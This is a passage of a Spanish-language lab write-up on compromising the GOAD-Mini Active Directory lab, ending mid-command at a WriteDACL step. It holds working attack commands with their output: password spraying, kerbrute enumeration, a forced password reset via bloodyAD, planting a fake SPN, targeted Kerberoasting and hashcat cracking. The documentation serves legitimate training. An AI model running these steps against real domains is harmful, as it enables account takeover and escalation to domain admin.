AVILX
LABORATORIO OFENSIVO · ACTIVE DIRECTORY · 2026
GOAD-Mini
Enumeración y Explotación de Active Directory desde Cero
Documentación técnica completa del compromiso del laboratorio GOAD-Mini: enumeración de dominio, ataques Kerberos, abuso de ACLs y escalada a Domain Admin.
| Autor | Jesus Avila (Avilx) |
| Plataforma | GOAD-Mini (WazeHell) |
| Dominio | sevenkingdoms.local |
| Entorno | VMware · BlackArch Linux |
| Fecha | 04 de Agosto 2026 |
| Portafolio | avilx.dev |
Documentación de aprendizaje ofensivo | Entorno de laboratorio autorizado
Introducción
Contexto del Laboratorio
GOAD-Mini (Game of Active Directory Mini) es un entorno de práctica ofensiva creado por WazeHell que simula una infraestructura corporativa Windows con Active Directory intencionalmente mal configurada. A diferencia de máquinas individuales como las de Hack The Box, GOAD-Mini replica el escenario de un pentest real: múltiples máquinas, un dominio AD, relaciones de confianza, usuarios con permisos excesivos y vectores de ataque encadenados.
Partiendo sin credenciales desde la red interna, el objetivo es comprometer una cuenta con privilegios de Domain Admin encadenando técnicas de enumeración, ataques Kerberos y abuso de ACLs.
Objetivos
-
Enumerar el entorno de Active Directory desde cero, sin credenciales iniciales.
-
Identificar usuarios, grupos, SPNs, AS-REP Roastable accounts y ACLs mal configuradas.
-
Ejecutar ataques ofensivos: AS-REP Roasting, Kerberoasting, abuso de ACLs.
-
Moverse lateralmente entre máquinas del dominio hasta alcanzar Domain Admin.
-
Documentar cada paso con contexto técnico para uso en portafolio profesional.
Topología del Laboratorio
| Hostname | IP | Sistema Operativo | Rol |
|---|---|---|---|
| DC01 | 192.168.56.10 | Windows Server 2019 | Domain Controller |
| Atacante | 192.168.56.1 | BlackArch Linux | Máquina atacante |
Infraestructura y Entorno de Trabajo
Arquitectura del Laboratorio
GOAD-Mini es el laboratorio más compacto de la suite Game of Active Directory de Orange Cyberdefense. Consiste en una única máquina Windows Server 2019 que actúa como Domain Controller del dominio SEVENKINGDOMS.LOCAL, con Windows Defender activo por defecto. El despliegue se realiza mediante Vagrant sobre VMware Workstation, gestionado a través del script goad.sh.
Configuración de Red
Segmentación y Verificación de Despliegue
./goad.sh -t status -l GOAD-Mini -p vmware
Usuarios del Dominio
| Usuario | Grupo | Observación |
|---|---|---|
administrator | Domain Admins | Cuenta de administrador principal |
cersei.lannister | LANNISTERS / Domain Admins | Domain Admin de SEVENKINGDOMS |
robert.baratheon | BARATHEON / Domain Admins | Domain Admin de SEVENKINGDOMS |
tywin.lannister | LANNISTERS | ACL: ForceChangePassword sobre jaime.lannister |
jaime.lannister | LANNISTERS | ACL: GenericWrite sobre joffrey.baratheon |
tyron.lannister | LANNISTERS | ACL: Self-membership sobre Small Council |
robert.baratheon | BARATHEON | Domain Admin |
joffrey.baratheon | BARATHEON | ACL: WriteDACL sobre tyron.lannister |
renly.baratheon | BARATHEON | -- |
stannis.baratheon | BARATHEON | ACL: GenericAll sobre KINGSLANDING / WriteProperty-Self en Domain Admins |
petyr.baelish | SMALL COUNCIL | ACL: WriteProperty sobre Domain Admins |
lord.varys | SMALL COUNCIL / AcrossTheNarrowSea | ACL: GenericAll sobre Domain Admins |
maester.pycelle | SMALL COUNCIL | ACL: WriteOwner sobre Domain Admins |
Reconocimiento Inicial
Descubrimiento de Hosts
sudo nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.10
MAC Address: 00:0C:29:FC:65:B1 (VMware)
Nmap scan report for 192.168.56.1
Se identificaron 2 hosts activos en la red 192.168.56.0/24: DC01 (192.168.56.10) y la máquina atacante (192.168.56.1), correspondiente a la interfaz de red host-only del laboratorio.
Escaneo de Puertos
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.56.10
DC01 – Puertos Abiertos
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
80/tcp open http syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
5986/tcp open wsmans syn-ack ttl 128
9389/tcp open adws syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
La presencia de los puertos 88 (Kerberos) y 389 (LDAP) confirma que DC01 es el Domain Controller del dominio. Puerto 445 abierto indica SMB accesible para enumeración sin credenciales. Puerto 3389 (RDP) y 5985/5986 (WinRM) expuestos sugieren posibles vectores de acceso remoto una vez obtenidas credenciales válidas. Puerto 80 (HTTP) inesperado en un DC, requiere enumeración adicional.
Escaneo de Versiones de los puertos
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-01 07:12:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after: 2027-07-29T03:27:55
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after: 2027-07-29T03:27:55
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after: 2027-07-29T03:27:55
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after: 2027-07-29T03:27:55
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: KINGSLANDING
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: kingslanding.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2026-08-01T07:13:33+00:00
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-28T03:26:09
|_Not valid after: 2027-01-27T03:26:09
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/wsmans?
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2026-07-27T20:20:55
|_Not valid after: 2029-07-26T20:20:55
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 00:0C:29:FC:65:B1 (VMware)
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: KINGSLANDING, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:fc:65:b1 (VMware)
| smb2-time:
| date: 2026-08-01T07:13:32
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
El escaneo de versiones confirmó el FQDN completo
kingslanding.sevenkingdoms.local mediante los certificados SSL expuestos en LDAP y RDP. Se identificó IIS 10.0 corriendo en el puerto 80 con la página por defecto, lo que requiere enumeración adicional. SMBv2 con Message Signing: required descarta ataques de NTLM Relay contra este host.
Enumeración Web – Puerto 80
Identificación del Dominio
nmblookup -A 192.168.56.10
Looking up status of 192.168.56.10
KINGSLANDING <00> - M <ACTIVE>
SEVENKINGDOMS <00> - <GROUP> M <ACTIVE>
SEVENKINGDOMS <1c> - <GROUP> M <ACTIVE>
KINGSLANDING <20> - M <ACTIVE>
SEVENKINGDOMS <1b> - M <ACTIVE>
MAC Address = 00-0C-29-FC-65-B1
Hostname identificado:
KINGSLANDING (registro <00>). Dominio NetBIOS: SEVENKINGDOMS (registro <00> GROUP). El registro <1b> confirma que KINGSLANDING es el Domain Master Browser, es decir, el Domain Controller principal del dominio.netexec smb 192.168.56.10
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / server 2019
Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local)
(signing:True) (SMBv1:False) (Null Auth:True)
Se confirmó autenticación nula (Null Auth) en SMB, lo que permite enumerar recursos compartidos, usuarios y políticas de dominio sin credenciales válidas. El FQDN
sevenkingdoms.local queda verificado por segunda vez, ahora mediante el protocolo SMB. SMBv1 deshabilitado descarta EternalBlue como vector de ataque.Enumeración de Active Directory
Enumeración sin Credenciales
SMB Anónimo
smbclient -L //192.168.56.10// -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
LDAP – Consultas Anónimas
ldapsearch -x -H ldap://192.168.56.10 \
> -b "DC=sevenkingdoms,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=sevenkingdoms,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
El intento de enumeración anónima via LDAP fue rechazado por el servidor, que exige autenticación previa (bind) para responder consultas. A diferencia de SMB, el acceso anónimo a LDAP no está permitido en este DC. Este vector se descarta temporalmente hasta obtener credenciales válidas.
Enumeracion con Enum4linux-ng
====================================================
| Domain Information via RPC for 192.168.56.10 |
====================================================
[+] Domain: SEVENKINGDOMS
[+] Domain SID: S-1-5-21-192275561-2566161430-2385015979
[+] Membership: domain member
La enumeración anónima via
enum4linux-ng confirmó que KINGSLANDING es el DC raíz del dominio sevenkingdoms.local. Se obtuvo el Domain SID: S-1-5-21-192275561-2566161430-2385015979, dato crítico para la fase de post-explotación ya que es requerido para forjar un Golden Ticket. La enumeración de usuarios, grupos y shares via RPC fue bloqueada con STATUS_ACCESS_DENIED, confirmando que el null session tiene alcance limitado en este DC.Enumeración de Usuarios con Kerbrute
Se realizó OSINT sobre la documentación oficial de GOAD, donde se identificaron los usuarios del dominio. Con esta información se construyó una wordlist en formato nombre.apellido para validar su existencia en el dominio mediante kerbrute, sin generar eventos de autenticación fallida.
tywin.lannister
jaime.lannister
tyron.lannister
cersei.lannister
robert.baratheon
joffrey.baratheon
renly.baratheon
stannis.baratheon
petyer.baelish
lord.varys
maester.pycelle
kerbrute userenum --dc 192.168.56.10 -d sevenkingdoms.local users.txt -o
valid_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 08/01/26 - Ronnie Flathers @ropnop
2026/08/01 23:19:10 > Using KDC(s):
2026/08/01 23:19:10 > 192.168.56.10:88
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > [+] VALID USERNAME: [email protected]
2026/08/01 23:19:10 > Done! Tested 11 usernames (11 valid) in 0.006 seconds
Los 11 usuarios enumerados fueron confirmados como válidos en el dominio
sevenkingdoms.local. Kerbrute opera a nivel de pre-autenticación Kerberos, lo que permite validar usuarios sin generar eventos de tipo 4625 (logon failure) en el DC.Identificación de Cuentas AS-REP Roastables
Con los 11 usuarios validados en el dominio, se evaluó si alguna cuenta tenía la flag
UF_DONT_REQUIRE_PREAUTH activa, condición necesaria para ejecutar un ataque AS-REP Roasting y obtener un hash crackeable sin credenciales.GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 \
-usersfile users.txt \
-no-pass \
-format hashcat
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[-] User tywin.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jaime.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tyron.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User cersei.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robert.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User joffrey.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User renly.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User stannis.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User petyer.baelish doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lord.varys doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User maester.pycelle doesn't have UF_DONT_REQUIRE_PREAUTH set
Ninguna cuenta presenta la flag
UF_DONT_REQUIRE_PREAUTH activa. AS-REP Roasting se descarta como vector de entrada en esta fase.Password Spray via SMB con Netexec
Con los usuarios validados, se intentó un password spray contra SMB utilizando una wordlist corta para minimizar el riesgo de bloqueo de cuentas.
nxc smb 192.168.56.10 -u users.txt \
-p /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\tywin.lannister:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\jaime.lannister:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\tyron.lannister:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\cersei.lannister:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\robert.baratheon:password STATUS_ACCOUNT_RESTRICTION
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\joffrey.baratheon:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\renly.baratheon:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\stannis.baratheon:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\petyer.baelish:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\lord.varys:password STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\maester.pycelle:password STATUS_LOGON_FAILURE
[...]
SMB 192.168.56.10 445 KINGSLANDING
[-] sevenkingdoms.local\tywin.lannister:monkey STATUS_ACCOUNT_LOCKED_OUT
[...]
El spray resultó en
STATUS_ACCOUNT_LOCKED_OUT para 10 de 11 usuarios a partir de la quinta contraseña probada, evidenciando una política de bloqueo activa en el dominio. La cuenta robert.baratheon no se bloqueó en ningún intento, devolviendo consistentemente STATUS_ACCOUNT_RESTRICTION. Este comportamiento indica que la cuenta pertenece al grupo Protected Users, mecanismo que bloquea autenticación NTLM por defecto en cuentas privilegiadas como Domain Admins, independientemente de la contraseña utilizada.El lockout masivo de cuentas en un entorno real es un incidente crítico que alertaría al equipo de seguridad. En un pentest real, el password spray debe ejecutarse con delays configurados y conociendo previamente el umbral de bloqueo de la política de dominio.
Enumeración Web con Feroxbuster
Se enumeró el servidor IIS en busca de rutas críticas, archivos sensibles (.txt, .bak) o endpoints de servicios AD expuestos.
feroxbuster -u http://192.168.56.10/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
301 GET http://192.168.56.10/certenroll => http://192.168.56.10/certenroll/
401 GET http://192.168.56.10/certsrv
Se identificaron dos rutas asociadas a AD CS (Active Directory Certificate Services):
/certenroll publica los certificados de la CA y las CRLs, mientras que /certsrv expone la interfaz web de enrollment. La presencia de estos endpoints confirma que AD CS está instalado en el DC, abriendo la posibilidad de un ataque ESC8 (NTLM Relay a Web Enrollment) una vez obtenidas credenciales válidas. El endpoint /certsrv devuelve 401 Unauthorized, confirmando que requiere autenticación.Segundo Intento – User-as-Password via Kerbrute
Se evaluó si alguna cuenta tenía configurada su propio nombre de usuario como contraseña, práctica común en entornos mal administrados.
kerbrute passwordspray --user-as-pass users.txt -d sevenkingdoms.local
--dc 192.168.56.10
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
2026/08/02 03:04:09 > Using KDC(s):
2026/08/02 03:04:09 > Done! Tested 11 logins (0 successes) in 0.026 seconds
Ninguna cuenta utiliza su nombre de usuario como contraseña. Este vector se descarta.
Conclusión de la Fase sin Credenciales
Tras agotar los vectores de entrada sin credenciales, se consultó el repositorio oficial de GOAD-Mini. Se determinó que el lab está diseñado como entorno base minimalista y asume credenciales iniciales conocidas, a diferencia de labs como GOAD-Light donde existe un vector explícito de entrada sin credenciales. Las credenciales de los usuarios del dominio están definidas en el archivo de configuración del lab y representan el punto de partida intencionado para la fase de explotación.
Enumeración con Credenciales
Una vez obtenida la credencial inicial tywin.lannister:powerkingftw135, proporcionada por la documentación oficial del lab como punto de entrada, se procedió a ampliar la enumeración de Active Directory via SMB para obtener un mapeo completo de usuarios y grupos del dominio.
Usuarios y Grupos
| Usuario | Último cambio de PW | Descripción |
|---|---|---|
Administrator | 2026-07-29 03:23:12 | Built-in administrator |
Guest | never | Built-in guest account |
krbtgt | 2026-07-29 03:26:08 | Key Distribution Center |
vagrant | 2021-05-12 11:39:16 | Vagrant User |
tywin.lannister | 2026-07-29 03:33:48 | Tywin Lanister |
jaime.lannister | 2026-07-29 03:33:50 | Jaime Lanister |
cersei.lannister | 2026-07-29 03:33:52 | Cersei Lanister |
tyron.lannister | 2026-07-29 03:33:54 | Tyron Lanister |
robert.baratheon | 2026-07-29 03:33:56 | Robert Lanister |
joffrey.baratheon | 2026-07-29 03:33:58 | Joffrey Baratheon |
renly.baratheon | 2026-07-29 03:34:00 | Renly Baratheon |
stannis.baratheon | 2026-07-29 03:34:02 | Stannis Baratheon |
petyer.baelish | 2026-07-29 03:34:04 | Petyer Baelish |
lord.varys | 2026-07-29 03:34:06 | Lord Varys |
maester.pycelle | 2026-07-29 03:34:08 | Maester Pycelle |
nxc smb 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' --groups
KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)
(domain:sevenkingdoms.local) (signing:True) (SMBv1:False) (Null Auth:True)
KINGSLANDING [+] sevenkingdoms.local\tywin.lannister:powerkingftw135
KINGSLANDING [-] [REMOVED] Arg moved to the ldap protocol
no se logro enumerar los grupos ya que ellos se movieron la servicio ldap, se procedera a enumerar los grupos en ldap
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' --groups
| Grupo | Relevancia | Miembros |
|---|---|---|
Administrators | Control total del DC | 7 |
Remote Desktop Users | Acceso RDP al DC | 2 |
Certificate Service DCOM | Relacionado con AD CS | 1 |
Cert Publishers | Puede publicar certificados | 1 |
Domain Admins | Objetivo final | 3 |
Protected Users | robert.baratheon (NTLM bloqueado) | 1 |
Lannister | Grupo personalizado del lab | 5 |
Baratheon | Grupo personalizado del lab | 5 |
Small Council | Grupo con ACLs críticas | 7 |
DragonStone | Nodo intermedio en cadena ACL | 0 |
KingsGuard | Nodo intermedio en cadena ACL | 0 |
AcrossTheNarrowSea | Grupo cross-domain | 0 |
El grupo Protected Users confirma que
robert.baratheon es la única cuenta protegida del dominio, lo que explica el comportamiento observado durante el password spray: al tener NTLM deshabilitado por política, la cuenta devuelve STATUS_ACCOUNT_RESTRICTION en lugar de bloquearse. Se identifican 3 miembros en Domain Admins, confirmando a robert.baratheon como uno de ellos. Los grupos personalizados DragonStone y KingsGuard aparecen vacíos pero son nodos intermedios en la cadena de ACLs del dominio.El grupo Remote Desktop Users tiene 2 miembros. Se procederá a enumerar su composición para identificar qué cuentas tienen acceso RDP al DC y si representan un vector de acceso adicional.
Enumeración de Grupos Específicos
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135'
--group Administrators
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135'
--group 'Remote Desktop Users'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135'
--group 'Baratheon'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135'
--group 'Domain Admins'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135'
--group 'Small Council'
| Grupo | Miembros | Relevancia |
|---|---|---|
Administrators | Administrator, vagrant, cersei.lannister, robert.baratheon | Control total del DC |
Remote Desktop Users | Baratheon (G), Small Council (G) | Acceso RDP al DC |
Domain Admins | Administrator, cersei.lannister, robert.baratheon | Objetivo final |
Protected Users | robert.baratheon | NTLM deshabilitado |
Baratheon | cersei, robert, joffrey, renly, stannis | Grupo con acceso RDP |
Small Council | cersei, robert, renly, stannis, petyer, varys, pycelle | Grupo con ACLs críticas y RDP |
DragonStone | vacío | Nodo intermedio ACL |
KingsGuard | vacío | Nodo intermedio ACL |
AcrossTheNarrowSea | vacío | Grupo cross-domain |
Se confirman los tres miembros de Domain Admins:
Administrator, cersei.lannister y robert.baratheon. La cuenta tywin.lannister no pertenece a ningún grupo con acceso RDP al DC — ni a Baratheon ni a Small Council, que son los grupos miembro de Remote Desktop Users. El acceso por RDP se descarta como vector con la cuenta actual. El grupo Small Council agrupa 7 usuarios con ACLs críticas sobre objetos del dominio, siendo un nodo clave en la cadena de escalada.BloodHound – Grafo del Dominio
Con credenciales válidas se procedió a recolectar todos los objetos del dominio mediante
bloodhound-python para construir un grafo de ataque completo. El objetivo es identificar rutas de escalada desde tywin.lannister hasta Domain Admins abusando de ACLs mal configuradas.bloodhound-python -u tywin.lannister -p powerkingftw135 \
-dc kingslanding.sevenkingdoms.local \
-d sevenkingdoms.local -c All \
-ns 192.168.56.10
INFO: Found AD domain: sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 16 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 01S
Se recolectaron 16 usuarios, 59 grupos y 1 computadora del dominio. Los datos fueron importados a BloodHound CE para análisis visual de la cadena de ACLs. La query Shortest Paths to Domain Admins reveló que
tywin.lannister tiene ForceChangePassword sobre jaime.lannister, siendo este el primer eslabón de la cadena de escalada hacia Domain Admin.
Ataques y Abuso de ACLs
Cadena de Escalada Identificada
BloodHound identificó la siguiente ruta de escalada desde tywin.lannister hasta Domain Admin:
| Origen | ACL / Vector | Destino |
|---|---|---|
tywin.lannister | ForceChangePassword | jaime.lannister |
jaime.lannister | GenericWrite | joffrey.baratheon |
joffrey.baratheon | WriteDACL | tyron.lannister |
tyron.lannister | Self-Membership | Small Council |
| Small Council | AddMember | DragonStone |
| DragonStone | WriteOwner | KingsGuard |
| KingsGuard | GenericAll | stannis.baratheon |
stannis.baratheon | GenericAll | DC01 (KINGSLANDING$) |
| DC01 | DCSync / DA | Domain Admin |
ForceChangePassword: tywin.lannister → jaime.lannister
BloodHound confirmó que
tywin.lannister posee la ACL ForceChangePassword sobre jaime.lannister. Este permiso permite cambiar la contraseña del usuario objetivo sin conocer la contraseña actual, sin requerir interacción del usuario y sin generar un reset administrativo visible. Se utilizó bloodyAD para explotar esta ACL.bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tywin.lannister -p powerkingftw135 \
-H kingslanding.sevenkingdoms.local \
set password jaime.lannister 'NewPassword123!'
[+] Password changed successfully!
jaime.lannister modificada exitosamente a NewPassword123!. Se procede a verificar el acceso con las nuevas credenciales.GenericWrite: jaime.lannister → joffrey.baratheon
BloodHound confirmó que
jaime.lannister posee GenericWrite sobre joffrey.baratheon, lo que permite modificar atributos arbitrarios del objeto. Se abusa de este permiso para registrar un SPN temporal en la cuenta, convirtiendo a joffrey.baratheon en objetivo de Targeted Kerberoasting y permitiendo extraer un hash TGS crackeable offline. bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u jaime.lannister -p 'NewPassword123!' \
-H kingslanding.sevenkingdoms.local \
set object joffrey.baratheon servicePrincipalName \
-v 'fake/kingslanding.sevenkingdoms.local'
[+] joffrey.baratheon's servicePrincipalName has been updated
SPN
fake/KINGSLANDING registrado exitosamente en joffrey.baratheon. La cuenta es ahora Kerberoasteable. Se procede a solicitar el TGS y extraer el hash para crackeo offline.Verificacion de subida exitosa del SPN
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10
| ServicePrincipalName | Name |
|---|---|
fake/kingslanding.sevenkingdoms.local | joffrey.baratheon |
fake/kingslanding.sevenkingdoms.local quedó registrado en joffrey.baratheon. La cuenta es ahora Kerberoasteable. Se procede a solicitar el TGS.Solicitud del Hash TGS – Kerberoasting Dirigido
Con el SPN registrado en
joffrey.baratheon, Kerberos aceptará solicitudes de tickets TGS para ese servicio. El ticket es cifrado con el hash NTLM de la cuenta, permitiendo crackeo offline sin interacción adicional con el DC.Intento Fallido: Primer intento:
GetUserSPNs.py con credenciales en texto plano. La herramienta intentó autenticación Kerberos primero pero no encontró un archivo ccache (KRB5CCNAME no definido), por lo que descartó la solicitud del ticket.GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast_hash.txt
[-] CCache file is not found. Skipping...
Intento Fallido: Segundo intento: se añadió
-no-preauth pero la herramienta requiere un argumento adicional para ese flag, resultando en error de uso.Intento Fallido: Tercer intento: se añadió
-debug para identificar el flujo real. Se confirmó que impacket intenta Kerberos tres veces antes de obtener el ticket. El hash sí se generó en pantalla pero no se guardó en el archivo de salida por el truncado con head.GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast.txt -debug
[-] CCache file is not found. Skipping...
[+] Trying to connect to KDC at 192.168.56.10:88
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$...[hash]
joffrey.baratheon fue obtenido exitosamente y guardado en kerberoast.txt. El warning de CCache es inofensivo – impacket recurre automáticamente a Kerberos directo contra el KDC cuando no hay ccache disponible.Crackeo del Hash con Hashcat
El hash TGS obtenido está cifrado con el hash NTLM de la cuenta de servicio. Al ser un hash RC4 (tipo 23), es susceptible a crackeo offline con diccionario sin interacción adicional con el DC.
hashcat -m 13100 kerberoast.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$
sevenkingdoms.local/joffrey.baratheon*$5b8e0d12252e...
[hash truncado por longitud]
...:1killerlion
Status: Cracked
Time: 2 segundos
joffrey.baratheon crackeado en 2 segundos con rockyou.txt. Credencial obtenida: joffrey.baratheon:1killerlion.WriteDacl: joffrey.baratheon → tyron.lannister
BloodHound confirmó que
joffrey.baratheon posee WriteDACL sobre tyron.lannister. Este permiso permite modificar la lista de control de acceso del objeto objetivo, otorgándose FullControl (GenericAll efectivo) para continuar la cadena de escalada.dacledit.py sevenkingdoms.local/joffrey.baratheon:1killerlion
